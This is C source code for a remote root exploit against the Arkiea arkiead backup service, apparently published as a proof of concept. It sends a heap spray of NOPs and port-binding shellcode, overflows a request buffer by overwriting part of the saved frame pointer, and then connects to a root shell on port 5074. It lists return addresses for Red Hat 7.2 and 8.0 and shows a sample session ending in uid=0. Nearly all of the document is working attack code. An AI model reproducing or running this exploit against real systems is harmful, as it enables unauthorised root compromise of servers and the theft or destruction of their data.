/* * Knox Arkiea arkiead local/remote root exploit. * * Portbind 5074 shellcode * * Tested on Redhat 8.0, Redhat 7.2, but all versions are presumed vulnerable. * * NULLs out least significant byte of EBP to pull EIP out of overflow buffer. * A previous request forces a large allocation of NOP's + shellcode in heap * memory. Find additional targets by searching the heap for NOP's after a * crash. safeaddr must point to any area of memory that is read/writable * and won't mess with program/shellcode flow. * * ./ark_sink host targetnum * [user@host dir]$ ./ark_sink 192.168.1.2 1 * [*] Connected to 192.168.1.2:617 * [*] Connected to 192.168.1.2:617 * [*] Sending nops+shellcode * [*] Done, sleeping * [*] Sending overflow * [*] Done * [*] Sleeping and connecting remote shell * [*] Connected to 192.168.1.2:5074 * [*] Success, enjoy * id * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) * * */ #include #include #include #include #include #include #include #include #include #define BUFLEN 10000 /* for getshell() */ #define LEN 280 /* overflow packet data section */ #define HEAD_LEN 8 /* overflow packet header */ #define NOP_LEN 10000 /* nop+shellcode packet */ #define ARK_PORT 617 #define SHELL_PORT 5074 #define NOP 0x90 #define NUMTARGS 2 struct { char *os; unsigned int targret; unsigned int targsafe; } targets[] = { { "Redhat 8.0", 0x80ecf90, 0x080eb940 }, { "Redhat 7.2", 0x80eddc0, 0x080eb940 }, NULL }; /* portbind 5074 */ const char shellcode[] = "\x89\xc3\xb0\x02\xcd\x80\x38\xc3\x74\x05\x8d\x43\x01\xcd\x80" "\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08" "\x8d\x4d\x08\xb0\x66\xcd\x80\x89\x45\x08\x43\x66\x89\x5d\x14" "\x66\xc7\x45\x16\x13\xd2\x31\xd2\x89\x55\x18\x8d\x55\x14" "\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80\x40\x89\x45\x0c" "\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0\x66" "\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03" "\x75\xf6\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69" "\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; unsigned int resolve(char *hostname) { u_long ip = 0; struct hostent *hoste; if ((int)(ip = inet_addr(hostname)) == -1) { if ((hoste = gethostbyname(hostname)) == NULL) { herror("[!] gethostbyname"); exit(-1); } memcpy(&ip, hoste->h_addr, hoste->h_length); } return(ip); } int isock(char *hostname, int portnum) { struct sockaddr_in sock_a; int num, sock; unsigned int ip; fd_set input; sock_a.sin_family = AF_INET; sock_a.sin_port = htons(portnum); sock_a.sin_addr.s_addr = resolve(hostname); if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { herror("[!] accept"); exit(-1); } if (connect(sock, (struct sockaddr *)&sock_a, sizeof(sock_a))) { herror("[!] connect"); exit(-1); } fprintf(stderr, "[*] Connected to %s:%d\n", hostname, portnum); return(sock); } int getshell(int sock) { char buf[BUFLEN]; int nread=0; while(1) { fd_set input; FD_SET(0,&input); FD_SET(sock,&input); select(sock+1,&input,NULL,NULL,NULL); if(FD_ISSET(sock,&input)) { nread=read(sock,buf,BUFLEN); write(1,buf,nread); } if(FD_ISSET(0,&input)) write(sock,buf,read(0,buf,BUFLEN)); } } int usage(char *progname) { int i; fprintf(stderr, "Usage:\n./%s hostname target_num\n"); for (i = 0; targets[i].os; i++) fprintf(stderr, "Target %d: %s\n", i+1, targets[i].os); exit(-1); } int main( int argc, char **argv) { /* first 2 bytes are a type 74 request */ /* last two bytes length */ char head[] = "\x00\x4a\x00\x03\x00\x01\xff\xff"; char data[512]; char sc_req[20000]; char *host; unsigned int tnum; unsigned int safeaddr; unsigned int ret; int datalen = LEN; int port = ARK_PORT; unsigned int addr = 0; int sock_overflow, sock_nops, sock_shell; int i; if (argc == 3) { host = argv[1]; tnum = atoi(argv[2]); if (tnum > NUMTARGS || tnum == 0) { fprintf(stderr, "[!] Invalid target\n"); usage(argv[0]); } } else { usage(argv[0]); } tnum--; ret = targets[tnum].targret; safeaddr = targets[tnum].targsafe; sock_overflow = sock_nops = sock_shell = 0; sock_nops = isock(host, port); sock_overflow = isock(host, port); // build data section of overflow packet memset(data, 0x90, datalen); for (i = 0; i < datalen; i += 4) memcpy(data+i, (char *)&ret, 4); // we overwrite a pointer that must be a valid address memcpy(data+datalen-12, (char *)&safeaddr, 4); // build header of overflow packet datalen = ntohs(datalen); memcpy(head+6, (char *)&datalen, 2); // build invalid packet with nops+shellcode memset(sc_req, 0x90, NOP_LEN+1); memcpy(sc_req+NOP_LEN, shellcode, sizeof(shellcode)); // send invalid nop+shellcode packet fprintf(stderr, "[*] Sending nops+shellcode\n"); write(sock_nops, sc_req, NOP_LEN+sizeof(shellcode)); fprintf(stderr, "[*] Done, sleeping\n"); sleep(1); close(sock_nops); // send overflow fprintf(stderr, "[*] Sending overflow\n"); write(sock_overflow, head, HEAD_LEN); write(sock_overflow, data, LEN); fprintf(stderr, "[*] Done\n"); fprintf(stderr, "[*] Sleeping and connecting remote shell\n"); sleep (1); close(sock_overflow); // connect to shell sock_shell = isock(host, SHELL_PORT); fprintf(stderr, "[*] Success, enjoy\n"); getshell(sock_shell); }